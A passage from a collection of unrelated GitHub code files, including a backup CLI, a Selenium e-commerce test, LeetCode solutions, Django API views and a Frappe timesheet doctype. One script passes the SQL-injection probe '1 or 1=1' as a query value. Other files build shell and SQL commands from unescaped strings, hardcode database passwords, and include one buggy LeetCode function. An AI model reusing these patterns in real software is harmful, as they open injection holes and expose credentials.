now...\\n\")\n\t\t\tsys.exit(0)\n\telse:\n\t\tprint(f.WHITE+\"[!!]The source file doesn't exist.\\n[!!]Enter correct directory\\n\")\n\t\tprint(f.WHITE+\"[??]Do you want to try again?\\n[!!]press (y)es or (n)o...\\n\")\n\t\tans = input()\n\t\tif(ans=='y' or ans=='Y'):\n\t\t\tbackup_dir_info()\n\t\t\tdir_check()\n\t\telif(ans=='n' or ans=='N'):\n\t\t\tprint(f.WHITE+\"[!!]TERMINATING PROGRAM !!\\n\")\n\t\t\tsys.exit(0)\n\ndef backup_script():\n\tglobal new_name\n\tprint(f.RED+\"Initiating backup program on %s\"%src_dir)\n\tbackup_cmd = 'rsync -uavz --progress '+src_dir+' '+' '+tmp_dir+'/'\n\tos.system(backup_cmd)\n\ttime.sleep(2)\n\tprint(f.YELLOW+\"\\nchanging backup files name to current date and time...\\n\")\n\tcurrent_date = str(datetime.datetime.now()).replace(\" \",\"___\")\n\ttime.sleep(2)\n\tname_change = 'mv'+' '+tmp_dir+'/*'+' '+tmp_dir+'/'+src_dir.replace('/','__')+\"*****\"+current_date\n\tos.system(name_change)\n\tprint(f.YELLOW+\"\\n[*]Listing backed-up files\\n\")\n\tos.system('ls -lah'+' '+tmp_dir)\n\tnew_name = src_dir.replace('/','__')+\"*****\"+current_date\n\treturn new_name\n\nbackup_dir_info()\ndir_check()","repo_name":"mritunjay7497/cli_backup","sub_path":"backup.py","file_name":"backup.py","file_ext":"py","file_size_in_byte":2970,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"19283403650","text":"from .process import Processing\nimport csv\n\n\nclass ExportCsv(Processing):\n\n def __init__(self, nome_site, news):\n self.nome_site = nome_site\n self.news = news\n\n def process(self):\n \n output_path = 'output/' + self.nome_site + '.csv'\n with open(output_path, 'w+', encoding='utf8') as file:\n writer = csv.writer(file, delimiter=';')\n writer.writerow([\"title\", \"url\"])\n for title, url in self.news:\n writer.writerow([title,url])\n","repo_name":"kahjohansson/POOA","sub_path":"trabalho_2/processing/export_csv.py","file_name":"export_csv.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"36036850079","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@Time : 2021/9/8 20:05\n@Auth : Mr.掌心 2929184523\n@Company :特斯汀学院 @testingedu.com.cn\n@Function :请输入模块功能描述\n\"\"\"\n\nfrom examlpe.mywebkeys import Web\n\nweb = Web()\nweb.open_browser('gc')\nweb.get_url('http://testingedu.com.cn:8000/Home/user/login.html')\n\n#登录\nweb.input('//*[@id=\"username\"]', '13800138006')\nweb.input('//*[@id=\"password\"]', '123456')\nweb.input('//*[@id=\"verify_code\"]', '1111')\nweb.click('//a[@class=\"J-login-submit\"]')\nweb.sleep(3)\n\n#修改个人信息\nweb.get_url('http://testingedu.com.cn:8000/Home/User/info.html')\nweb.sleep(1)\nweb.click_js('//*[@id=\"preview\"]')\n#进入iframe\nweb.into_iframe('//*[@id=\"layui-layer-iframe1\"]')\nweb.input('//*[@id=\"filePicker\"]/div[2]/input', r\"C:\\Users\\ZX\\Desktop\\111.jpg\")\nweb.click('//div[@class=\"saveBtn\"]')\n#切出iframe\nweb.out_iframe()\nweb.click('//input[@class=\"save\"]')\nweb.sleep(3)\n\n#新增地址\nweb.get_url('http://testingedu.com.cn:8000/Home/User/address_list.html')\nweb.click('//span[text()=\"增加新地址\"]')\nweb.input('//input[@name=\"consignee\"]', 'zxtest')\nweb.input('//input[@name=\"mobile\"]', '17777777777')\nweb.select('//*[@id=\"province\"]', '湖南省')\nweb.select('//*[@id=\"city\"]', '25580')\nweb.select('//*[@id=\"district\"]', '25607')\nweb.select('//*[@id=\"twon\"]', '岳麓街道')\nweb.input('//input[@name=\"address\"]', '掌心测试地址')\nweb.input('//input[@name=\"zipcode\"]', '410000')\nweb.click('//*[@id=\"address_submit\"]')\nweb.sleep(3)\n\n#删除地址\nweb.click('//span[text()=\"zxtest\"]/../..//a[text()=\"删除\"]')\nweb.sleep(3)\n\n#搜索\nweb.input('//*[@id=\"q\"]', '手机')\nweb.click('//*[@id=\"sourch_form\"]/a')\n\n#获取所有商品的名字\ngoods = web.driver.find_elements_by_xpath('//div[@class=\"shop-list-splb p\"]'\n '//div[@class=\"shop_name2\"]/a')\nfor good in goods:\n print(good.text)\n\n#添加购物车\nweb.click('//a[contains(text(), \"Huawei/华为 nova 2s\")]')\nweb.sleep(3)\nweb.click('//*[@id=\"join_cart\"]')\nweb.sleep(1)\nweb.click('//span[@class=\"layui-layer-setwin\"]/a')\nweb.move_to('//span[text()=\"我的购物车\"]')\nweb.sleep(1)\nweb.click('//a[@class=\"c-btn\"]')\nweb.sleep(1)\n\n#结算\nweb.click('//a[text()=\"去结算\"]')\nweb.sleep(3)\nweb.click('//button[@class=\"checkout-submit\"]')\nweb.sleep(3)\n\n#取消订单\nweb.get_ralation_text('//p[@class=\"succ-p\"]', r'\\d{18}')\nweb.click('//a[text()=\"我的订单\"]')\nweb.switch_win()\nweb.sleep(1)\nweb.click('//em[text()=\"{text}\"]/../..//a[text()=\"取消订单\"]')\nweb.click('//a[text()=\"确定\"]')\nweb.sleep(3)\n\n\nweb.quit()","repo_name":"yiranlingyue/testops","sub_path":"examlpe/example3.py","file_name":"example3.py","file_ext":"py","file_size_in_byte":2556,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"74671827360","text":"\"\"\"\nLC1305 - All elements in two binary search trees\n\nGiven two binary search trees root1 and root2.\n\nReturn a list containing all the integers from both trees sorted in ascending order.\n\nExample 1:\n\nInput: root1 = [2,1,4], root2 = [1,0,3]\nOutput: [0,1,1,2,3,4]\n\nExample 2:\n\nInput: root1 = [0,-10,10], root2 = [5,1,7,0,2]\nOutput: [-10,0,0,1,2,5,7,10]\n\nExample 3:\n\nInput: root1 = [], root2 = [5,1,7,0,2]\nOutput: [0,1,2,5,7]\n\nExample 4:\n\nInput: root1 = [0,-10,10], root2 = []\nOutput: [-10,0,10]\n\nExample 5:\n\nInput: root1 = [1,null,8], root2 = [8,1]\nOutput: [1,1,8,8]\n\nConstraints:\n\n Each tree has at most 5000 nodes.\n Each node's value is between [-10^5, 10^5].\n\"\"\"\n\n\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution(object):\n def inOrder(self, root):\n # getting values is easier with a stack instead of recursion\n node = root\n stack = []\n ret = []\n\n while True:\n if node:\n stack.append(node)\n node = node.left # go left\n elif (stack):\n node = stack.pop()\n ret.append(node.val) # visit\n node = node.right # go right\n else:\n break\n\n return ret\n\n def merge(self, list1, list2):\n # merge two lists which are already sorted in ascending order\n\n ret = []\n idx1 = 0\n idx2 = 0\n\n while idx1 < len(list1) or idx2 < len(list2):\n if idx1 >= len(list1):\n ret.append(list2[idx2])\n idx2 += 1\n elif idx2 >= len(list2):\n ret.append(list1[idx1])\n idx1 += 1\n else:\n if list1[idx1] <= list2[idx2]:\n ret.append(list1[idx1])\n idx1 += 1\n else:\n ret.append(list2[idx2])\n idx2 += 1\n\n return ret\n\n def getAllElements(self, root1, root2):\n \"\"\"\n :type root1: TreeNode\n :type root2: TreeNode\n :rtype: List[int]\n \"\"\"\n # let's do an in-order traversal of both trees to get the elements in ascending order, then merge the arrays\n\n return self.merge(self.inOrder(root1), self.inOrder(root2))\n","repo_name":"daveboat/interview_prep","sub_path":"coding_practice/binary_search_tree/all_elements_in_two_binary_search_trees.py","file_name":"all_elements_in_two_binary_search_trees.py","file_ext":"py","file_size_in_byte":2397,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"28982128711","text":"import json\n\nfrom django.core.exceptions import ImproperlyConfigured\nfrom django.http import HttpResponse\nfrom django.shortcuts import render\nfrom django.views.generic import View\n\nfrom tastypie.exceptions import ImmediateHttpResponse\nfrom tastypie.exceptions import NotFound\n\nfrom acl import Ace\nfrom acl import Acl\nfrom acl import Privileges\nfrom loaders.models import get_model\nfrom loaders.resources import get_resource\nfrom permissions import PermissionStore\nfrom tastypie_ext.api import Api\n\n\nclass ApiView(View):\n # Common response params\n mimetype = 'application/json'\n status_validation_error = 400\n status_get_ok = 200\n status_created = 201\n status_accepted = 202\n\n\nclass ResourceView(ApiView):\n must_authenticate = True\n must_authorize = True\n methods = ['get']\n resource = None\n\n def __init__(self, *args, **kwargs):\n atts = ['must_authenticate', 'must_authorize', 'resource']\n for att in atts:\n val = kwargs.get(att)\n if val is not None:\n setattr(self, att, val)\n\n if not self.resource:\n raise ImproperlyConfigured('Must provide a resource object')\n\n def dispatch(self, request, *args, **kwargs):\n # Run prolog\n self.resource.method_check(request, allowed=self.methods)\n\n if self.must_authenticate:\n self.resource.is_authenticated(request)\n\n if self.must_authorize:\n self.resource.is_authorized(request)\n\n # Dispatch to view proper\n return self.get_response(request, *args, **kwargs)\n\n def get_object(self, request, *args, **kwargs):\n group_name = self.resource.get_uri_pk_group_name()\n id = kwargs.get(group_name)\n model = self.resource._meta.object_class\n\n obj = model.get_object('zarafaId', id)\n if not obj:\n raise NotFound\n\n return obj\n\n\nclass ResourceAclView(ResourceView):\n methods = ['get', 'put']\n\n def __init__(self, *args, **kwargs):\n super(ResourceAclView, self).__init__(*args, **kwargs)\n\n # store objects looked up during validation\n self._objcache = {}\n\n def get_response(self, request, *args, **kwargs):\n obj = self.get_object(request, *args, **kwargs)\n\n if request.method == 'PUT':\n return self.put(request, obj)\n\n return self.get(obj)\n\n def get(self, obj):\n Group = get_model('models_ldap.Group')\n User = get_model('models_ldap.User')\n res_groups = get_resource('api_ldap.GroupResource')\n res_users = get_resource('api_ldap.UserResource')\n\n acl_val = getattr(obj, 'zarafaACL', None)\n\n lst = []\n if acl_val:\n acl = Acl.parse(obj.zarafaACL)\n\n for ace in acl.aces:\n principal_key = None\n principal = None\n uri = None\n\n if ace.user_id:\n principal_key = 'user'\n principal = User.get_object('zarafaId', ace.user_id)\n uri = res_users.get_resource_uri(principal)\n\n elif ace.group_id:\n principal_key = 'group'\n principal = Group.get_object('zarafaId', ace.group_id)\n uri = res_groups.get_resource_uri(principal)\n\n dct = {\n principal_key: uri,\n 'permissions': sorted(ace.perms),\n }\n\n lst.append(dct)\n\n content = self.resource._meta.serializer.to_json(lst)\n return HttpResponse(content, mimetype=self.mimetype)\n\n def put(self, request, obj):\n data = json.loads(request.body)\n self.validate(data)\n\n aces = []\n for d in data:\n perms = d.get('permissions')\n\n group_uri = d.get('group')\n user_uri = d.get('user')\n\n kwargs = {}\n if group_uri:\n principal = self._objcache.get(group_uri)\n kwargs['group_id'] = principal.zarafaId\n\n elif user_uri:\n principal = self._objcache.get(user_uri)\n kwargs['user_id'] = principal.zarafaId\n\n ace = Ace(perms, **kwargs)\n aces.append(ace)\n\n acl = Acl(aces)\n obj.zarafaACL = acl.format()\n obj.save()\n\n resp = self.get(obj)\n resp.status_code = self.status_accepted\n return resp\n\n def validate(self, data):\n res_groups = get_resource('api_ldap.GroupResource')\n res_users = get_resource('api_ldap.UserResource')\n\n dct = {}\n invalid_groups = set()\n invalid_perms = set()\n invalid_users = set()\n type_correct = False\n\n permstore = PermissionStore.get()\n\n if type(data) == list:\n for d in data:\n if type(d) == dict:\n type_correct = True\n\n perms = d.get('permissions')\n invalid_perms.update(set(perms) - set(permstore.get_all_names()))\n\n group_uri = d.get('group')\n user_uri = d.get('user')\n\n if group_uri:\n try:\n obj = res_groups.get_via_uri(group_uri)\n self._objcache[group_uri] = obj\n except NotFound:\n invalid_groups.add(group_uri)\n\n elif user_uri:\n try:\n obj = res_users.get_via_uri(user_uri)\n self._objcache[user_uri] = obj\n except NotFound:\n invalid_users.add(user_uri)\n\n else:\n dct['missingPrincipal'] = 'No user or group provided.'\n\n if (dct or not type_correct\n or any([invalid_groups, invalid_perms, invalid_users])):\n if invalid_perms:\n dct.update({\n 'invalidPermissions': sorted(list(invalid_perms)),\n })\n if invalid_users:\n dct.update({\n 'invalidUsers': sorted(list(invalid_users)),\n })\n if invalid_groups:\n dct.update({\n 'invalidGroups': sorted(list(invalid_groups)),\n })\n content = self.resource._meta.serializer.to_json(dct)\n resp = HttpResponse(content, status=self.status_validation_error)\n raise ImmediateHttpResponse(response=resp)\n\n\nclass ResourceApidocView(ResourceView):\n must_authenticate = False\n\n def get_response(self, request, *args, **kwargs):\n api_name = getattr(self.resource, 'api_name', None) or kwargs.get('api_name')\n api = Api.get_api(api_name)\n\n schema = self.resource.build_schema()\n views = []\n for name, items in schema['views'].items():\n for view in items:\n views.append({\n 'view_name': name,\n 'method': view['method'],\n 'template_uri': view['urlPattern'],\n 'permission': view['permission'],\n })\n views = sorted(views, key=lambda d: (d['view_name'], d['method']))\n\n return render(request, 'apiapp/apidoc_resource_detail.html', {\n 'api_name': api.api_name,\n 'cur_page': self.resource._meta.resource_name,\n 'resource_name': self.resource._meta.resource_name,\n 'resource_obj': self.resource,\n 'views': views,\n })\n\n\nclass ResourcePrivsView(ResourceView):\n methods = ['get', 'put']\n\n def get_response(self, request, *args, **kwargs):\n obj = self.get_object(request, *args, **kwargs)\n\n if request.method == 'PUT':\n return self.put(request, obj)\n\n return self.get(obj)\n\n def get(self, obj):\n perms_val = getattr(obj, 'zarafaApiPrivileges', None)\n\n privs = Privileges.parse(perms_val)\n lst = sorted(privs.perms)\n\n content = self.resource._meta.serializer.to_json(lst)\n return HttpResponse(content, mimetype=self.mimetype)\n\n def put(self, request, obj):\n data = json.loads(request.body)\n self.validate(data)\n\n obj.set_privs(data)\n obj.save()\n\n resp = self.get(obj)\n resp.status_code = self.status_accepted\n return resp\n\n def validate(self, data):\n permstore = PermissionStore.get()\n\n dct = {}\n type_correct = True\n if not type(data) == list:\n type_correct = False\n data = [data]\n\n invalids = set(data) - set(permstore.get_all_names())\n\n if not type_correct or invalids:\n if invalids:\n dct.update({\n 'invalidPermissions': sorted(list(invalids)),\n })\n content = self.resource._meta.serializer.to_json(dct)\n resp = HttpResponse(content, status=self.status_validation_error)\n raise ImmediateHttpResponse(response=resp)\n\n\nclass ResourceSchemaView(ResourceView):\n must_authenticate = False\n\n def get_response(self, request, *args, **kwargs):\n schema = self.resource.build_schema()\n return self.resource.create_response(request, schema)\n\n\nclass ResourceSoftDeleteView(ResourceView):\n methods = ['post']\n\n def get_response(self, request, *args, **kwargs):\n obj = self.get_object(request, *args, **kwargs)\n obj.soft_delete()\n return HttpResponse(status=self.status_accepted)\n\n\nclass ResourceSoftUndeleteView(ResourceView):\n methods = ['post']\n\n def get_response(self, request, *args, **kwargs):\n obj = self.get_object(request, *args, **kwargs)\n obj.soft_undelete()\n return HttpResponse(status=self.status_accepted)\n","repo_name":"zarafagroupware/zarafa-zsm","sub_path":"webservice/apiapp/resource_views.py","file_name":"resource_views.py","file_ext":"py","file_size_in_byte":9803,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"37802366895","text":"import os\r\nimport asyncio\r\nfrom aiomysql.sa import create_engine, Engine, SAConnection\r\nfrom aiomysql.sa.result import ResultProxy\r\n\r\n\r\nclass DataBaseEntryPoint:\r\n _connection: SAConnection = None\r\n\r\n async def __aenter__(self, loop=None) -> \"DataBaseEntryPoint\":\r\n if loop is None:\r\n loop = asyncio.get_event_loop()\r\n engine: Engine = await create_engine(\r\n user=os.environ[\"MYSQL_USER\"],\r\n db=os.environ[\"MYSQL_DATABASE\"],\r\n host=\"mysql\",\r\n port=3306,\r\n password=os.environ[\"MYSQL_PASSWORD\"],\r\n charset=\"utf8\",\r\n autocommit=True,\r\n loop=loop\r\n )\r\n self._connection: SAConnection = await engine.acquire()\r\n return self\r\n\r\n async def __aexit__(self, *args, **kwargs) -> None:\r\n await self._connection.close()\r\n\r\n async def execute(self, query, *args, **kwargs) -> ResultProxy:\r\n return await self._connection.execute(query, *args, **kwargs)\r\n","repo_name":"GeneralBot-developer/GeneralBot-zerobase","sub_path":"src/app/GBot/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"664305030","text":"from .base import BaseImporter\nfrom ._types import _JsonDict, Model, _RelatedModels\nfrom ..data.models import Jurisdiction, LegislativeSession\n\n\nclass JurisdictionImporter(BaseImporter):\n _type = \"jurisdiction\"\n model_class = Jurisdiction\n related_models: _RelatedModels = {\n \"legislative_sessions\": (LegislativeSession, \"jurisdiction_id\", {})\n }\n merge_related = {\"legislative_sessions\": [\"identifier\"]}\n\n def get_object(self, data: _JsonDict) -> Model:\n return self.model_class.objects.get(\n division_id=data[\"division_id\"], classification=data[\"classification\"]\n )\n\n def prepare_for_db(self, data: _JsonDict) -> _JsonDict:\n for s in data[\"legislative_sessions\"]:\n s.pop(\"_scraped_name\", None)\n return data\n","repo_name":"openstates/openstates-core","sub_path":"openstates/importers/jurisdiction.py","file_name":"jurisdiction.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"54"} +{"seq_id":"30996059011","text":"\ndef create(arr_size, arr_start = 0, arr_step = 0):\n return [i*arr_step + arr_start for i in range(arr_size)]\n\n# метод сортировки вставками\ndef sort (arr):\n i = 1\n while i < len(arr):\n j=i\n while j > 0 and arr[j-1] > arr[j]:\n chg = arr[j - 1]\n arr[j - 1] = arr[j]\n arr[j] = chg\n j-= 1\n i+= 1\n return arr\n\n_print = print\ndef print(arr):\n _print(arr)\n return arr\n\narr_size = int(input())\narr_start = int(input())\narr_step = int(input())\narr = create(arr_size, arr_start, arr_step)\narr = sort(arr)\nprint(arr)\n","repo_name":"Voloshinskaya/Programming","sub_path":"Practice/33/Python/33.py","file_name":"33.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"42473377043","text":"import frappe\nfrom frappe import _\nfrom frappe.model.document import Document\nfrom datetime import timedelta, date\n\nclass ProjectWiseTimesheet(Document):\n\tdef validate(self):\n\t\tif frappe.utils.getdate(self.start_date) > frappe.utils.getdate(self.end_date):\n\t\t\tfrappe.throw(\"From Date cannot be greater than End Date.\")\n\n\t\tif frappe.utils.getdate(self.end_date) > frappe.utils.getdate(frappe.utils.nowdate()):\n\t\t\tfrappe.throw(\"End Date cannot be greater than {}\".format(frappe.utils.nowdate()))\n\n\t\t# self.validate_duplicate_date_rows()\n\n\tdef validate_duplicate_date_rows(self):\n\t\ttemp_dict = {}\n\t\tfor row in self.employees:\n\t\t\tif row.employee not in temp_dict:\n\t\t\t\ttemp_dict[row.employee] = [row.attendance_date]\n\t\t\telse:\n\t\t\t\tif row.attendance_date in temp_dict[row.employee]:\n\t\t\t\t\tfrappe.throw(\"There are duplicate Attendance of Employee {0} on Date {1}\".format(row.employee, row.attendance_date))\n\t\t\t\telse:\n\t\t\t\t\ttemp_dict[row.employee].append(row.attendance_date)\n\t\t\t\t\t\n\t@frappe.whitelist()\n\tdef fill_employees(self):\n\t\tself.set('employees', [])\n\t\temployees = self.get_emp_list()\n\t\tif not employees:\n\t\t\terror_msg = _(\"No employees found for the mentioned criteria.\")\n\t\t\tfrappe.throw(error_msg, title=_(\"No employees found\"))\n\n\n\t\tfor d in employees:\n\t\t\tfor single_date in daterange(frappe.utils.getdate(self.start_date), frappe.utils.getdate(self.end_date)):\n\t\t\t\tself.append('employees', {\"employee\":d.employee,\"attendance_date\":frappe.utils.getdate(single_date),\"day\":frappe.utils.get_weekday(frappe.utils.get_datetime(single_date)),\"project\":self.default_project or '',\"start_time\": '',\"end_time\":''})\n\n\t\tself.number_of_employees = len(self.employees)\n\n\tdef before_submit(self):\n\t\tif self.employees:\n\t\t\tfor emp in self.employees:\n\t\t\t\tif not emp.working_hours and (not emp.start_time or not emp.end_time):\n\t\t\t\t\tfrappe.throw(_(\"Working Hours or Start Time and End Time required in Employee Timesheet for Employee {}\".format(emp.employee)))\n\t\t\t\tif emp.start_time and emp.end_time:\n\t\t\t\t\temp.working_hours = frappe.utils.time_diff_in_hours(emp.end_time,emp.start_time)\n\n\t\t\t\tif emp.working_hours <= 0:\n\t\t\t\t\tfrappe.throw(_(\"Working Hours cannot be Zero in Employee Timesheet for Employee {}\".format(emp.employee)))\n\n\t\t\t\tif not emp.project:\n\t\t\t\t\tfrappe.throw(_(\"There is not Project selected in Employee Timesheet for Employee {}\".format(emp.employee)))\n\n\n\t\telse:\n\t\t\tfrappe.throw(\"There must be atlease one entry in Employee Timesheet\")\n\t\t\t\t\t\n\tdef on_submit(self):\n\t\tfrappe.enqueue(mark_attendance,timeout=6000,is_async=True,now=True,self=self)\t\t\n\n\tdef get_emp_list(self):\n\t\tcond = self.get_filter_condition()\n\t\treturn frappe.db.sql(\"\"\"\n\t\t\tselect\n\t\t\t\tname as employee\n\t\t\tfrom\n\t\t\t\t`tabEmployee` emp\n\t\t\twhere\n\t\t\t\t%s\n\t\t\torder by emp.name asc\n\t\t\"\"\" % cond, as_dict=True,debug=True)\n\n\tdef get_filter_condition(self):\n\t\tconditions = \"emp.status != 'Inactive' \"\n\n\t\tif self.get(\"department\"):\t\tconditions += \" and emp.department = '{0}' \".format(self.get(\"department\"))\n\t\tif self.get(\"branch\"): \t\tconditions += \" and emp.branch = '{0}' \".format(self.get(\"branch\"))\n\t\tif self.get(\"designation\"): \tconditions += \" and emp.designation = '{0}' \".format(self.get(\"designation\"))\n\t\tif self.get(\"employee_grade\"): \tconditions += \" and emp.name = '{0}' \".format(self.get(\"employee_grade\"))\n\n\t\tif self.get(\"employee_inclusion\"):\n\t\t\temployee_inclusion = get_employee_ids(frappe.parse_json(self.get('employee_inclusion')))\n\t\t\tconditions +=\" and emp.name in ({0}) \".format(','.join(\"'{0}'\".format(x.employee) for x in employee_inclusion))\n\n\t\tif self.get(\"employee_exclusion\"):\n\t\t\temployee_exclusion = get_employee_ids(frappe.parse_json(self.get('employee_exclusion')))\n\t\t\tconditions +=\" and emp.name not in ({0}) \".format(','.join(\"'{0}'\".format(x.employee) for x in employee_exclusion))\n\n\t\treturn conditions\n\n\ndef get_employee_ids(employees):\n\tif not isinstance(employees, list):\n\t\temployees = [d.strip() for d in employees.strip().split(',') if d]\n\n\treturn employees\n\n\ndef daterange(start_date, end_date):\n for n in range(int((end_date - start_date).days)+1):\n yield start_date + timedelta(n)\n \n\n@frappe.whitelist()\ndef mark_attendance(self,publish_progress =True):\n\ttemp_dict = {}\n\tfor row in self.employees:\n\t\tif row.employee not in temp_dict:\n\t\t\ttemp_dict[row.employee] = {row.attendance_date:[{\"project\":row.project,\"working_hours\":row.working_hours}]}\n\t\telse:\n\t\t\tif row.attendance_date not in temp_dict[row.employee]:\n\t\t\t\ttemp_dict[row.employee][row.attendance_date] = [{\"project\":row.project,\"working_hours\":row.working_hours}]\n\t\t\telse:\n\t\t\t\ttemp_dict[row.employee][row.attendance_date].append({\"project\":row.project,\"working_hours\":row.working_hours})\n\t\t\t\t\n\tfor employee, employee_dict in temp_dict.items():\n\t\tfor attendance_date, time_list in employee_dict.items():\n\t\t\ttry:\n\t\t\t\tattendance_doc = frappe.new_doc(\"Attendance\")\t\n\t\t\t\tattendance_doc.employee = employee\n\t\t\t\tattendance_doc.attendance_date = attendance_date\n\t\t\t\tattendance_doc.reference_timesheet = self.name\n\t\t\t\tattendance_doc.status = \"Present\"\n\t\t\t\tattendance_doc.set(\"project_wise_attendance\",time_list)\n\t\t\t\tattendance_doc.flags.ignore_permissions = True\n\t\t\t\tattendance_doc.flags.ignore_mandatory = True\n\t\t\t\tattendance_doc.save()\n\t\t\t\tattendance_doc.submit()\n\t\t\texcept Exception as error:\n\t\t\t\ttraceback = frappe.get_traceback()\n\t\t\t\tfrappe.log_error(message=traceback , title=\"Error in Attendance Api\")\n\t\t\t\tcontinue\t\n","repo_name":"ShahzadNaser/northcorp","sub_path":"northcorp/northcorp/doctype/project_wise_timesheet/project_wise_timesheet.py","file_name":"project_wise_timesheet.py","file_ext":"py","file_size_in_byte":5380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"71623085282","text":"try:\n from setuptools import setup\nexcept ImportError:\n from distribute_setup import use_setuptools\n use_setuptools()\n from setuptools import setup\nfrom setuptools.command.test import test as TestCommand\n\nfrom exlobe.version import VERSION\n\n\nclass test(TestCommand):\n\n def finalize_options(self):\n TestCommand.finalize_options(self)\n self.test_args = []\n self.test_suite = True\n\n def run_tests(self):\n from pytest import main\n main(self.test_args)\n\n\nsetup(\n name='exlobe',\n version=VERSION,\n packages=['exlobe'],\n description='An web-based essay outlining tool',\n author='Jae-Myoung Yu',\n author_email='euphoris' '@' 'gmail.com',\n url='https://bitbucket.org/euphoris/lifemetr',\n install_requires=['flask', 'sqlalchemy'],\n tests_require=['pytest'],\n cmdclass={'test': test}\n)\n","repo_name":"euphoris/exlobe","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"8988795041","text":"# -*- coding:utf-8 -*-#\n\nimport redis\nimport gzip\nimport json\nimport logging\nimport psycopg2\nimport time\n\nlogging.basicConfig(filename=time.strftime(\"%Y_%m_%d\", time.localtime())+ \".log\", level=logging.DEBUG)\n\nlogging.critical('log')\nexit()\n\npsql_conf = {\n \"dbname\": \"bida_analytics\",\n \"user\": \"postgres\",\n \"password\": \"159753\",\n \"host\": \"127.0.0.1\",\n \"port\": \"5432\",\n}\n\npsql_conf_str = \"\"\nfor (k, v) in psql_conf.items():\n psql_conf_str += k + \"=\" + v + \" \"\n\npsql_conf_str = psql_conf_str[:-1]\n\nconn = psycopg2.connect(psql_conf_str)\ncur = conn.cursor()\n\ncur.execute(\"\"\"\n select * from bida_analytics.public.test where id = %s\n\"\"\",[\"1 or 1=1\"])\n\nrows = cur.fetchall()\nprint(rows)\nconn.commit()\ncur.close()\nconn.close()","repo_name":"arisnotargon/data_analysis_study","sub_path":"mp.py","file_name":"mp.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"39568513355","text":"\"\"\"\nHow Many Numbers Are Smaller Than the Current Number\nhttps://leetcode.com/problems/how-many-numbers-are-smaller-than-the-current-number/\n\nGiven the array nums, for each nums[i] find out how many numbers in the array are smaller than it. That is, for each nums[i] you have to count the number of valid j's such that j != i and nums[j] < nums[i].\n\nReturn the answer in an array.\n\nInput: nums = [8,1,2,2,3]\nOutput: [4,0,1,1,3]\nExplanation: \n* For nums[0]=8 there exist four smaller numbers than it (1, 2, 2 and 3). \n* For nums[1]=1 does not exist any smaller number than it.\n* For nums[2]=2 there exist one smaller number than it (1). \n* For nums[3]=2 there exist one smaller number than it (1). \n* For nums[4]=3 there exist three smaller numbers than it (1, 2 and 2).\n\n\"\"\"\ndef smallerNumbersThanCurrent(nums): #396ms faster than 33.33% submissions, 11.9MB less than 100% submissions\n \"\"\"\n :type nums: List[int]\n :rtype: List[int]\n \"\"\"\n new_list = []\n\n for i in range(len(nums)):\n count = 0\n for j in range(len(nums)):\n if nums[j] < nums[i]:\n count += 1\n new_list.append(count)\n\n return new_list\n\nprint(smallerNumbersThanCurrent([8,1,2,2,3]))\nprint(smallerNumbersThanCurrent([6,5,4,8]))\nprint(smallerNumbersThanCurrent([7,7,7,7]))\n\n\"\"\"\nCount of Smaller Numbers After Self\nhttps://leetcode.com/problems/count-of-smaller-numbers-after-self/\n\nYou are given an integer array nums and you have to return a new counts array. The counts array has the property where counts[i] is the number of smaller elements to the right of nums[i].\n\nInput: [5,2,6,1]\nOutput: [2,1,1,0] \nExplanation:\nTo the right of 5 there are 2 smaller elements (2 and 1).\nTo the right of 2 there is only 1 smaller element (1).\nTo the right of 6 there is 1 smaller element (1).\nTo the right of 1 there is 0 smaller element.\n\"\"\"\n\ndef countSmaller(nums):\n\n new_list = []\n print(nums)\n #when on 1st number, compare with numbers after it (sub list)\n for i in range(len(nums)): #i = 0, 1, 2, 3\n count = 0\n sublist = nums[i+1:]\n print(sublist)\n if len(sublist) > 1:\n for j in sublist:\n if sublist[j] < nums[i]:\n count += 1\n new_list.append(count)\n\n\n return new_list\n\nprint(countSmaller([5, 2, 6, 1])) #[2, 1, 1, 0]\n\n","repo_name":"trishalapiz/Python-practice","sub_path":"numberSmaller.py","file_name":"numberSmaller.py","file_ext":"py","file_size_in_byte":2341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"20264137169","text":"from tkinter.ttk import Label, Combobox, Button, Frame\nfrom tkinter import StringVar, Entry, Text, Scrollbar, filedialog, messagebox\nfrom tkinter import END, FLAT, NORMAL, DISABLED, HORIZONTAL, NONE\nfrom webbrowser import open_new as open_hyperlink\n\nfrom bidshandler import Scan\n\nfrom Biscuit.utils.utils import str_to_obj, get_bidsobj_info\nfrom Biscuit.utils.constants import OSCONST\nfrom Biscuit.Windows.SendFilesWindow import SendFilesWindow\nfrom Biscuit.CustomWidgets import WidgetTable\nfrom Biscuit.Management.CustomVars import OptionsVar\nfrom Biscuit.Management.tkHyperlinkManager import HyperlinkManager\n\nHELP_LINK = \"https://macquarie-meg-research.github.io/BIDSHandler/usage_docs/querying_data.html\" # noqa\n\n\nclass BIDSSearchFrame(Frame):\n\n def __init__(self, master, parent=None, *args, **kwargs):\n self.master = master\n self.parent = parent\n 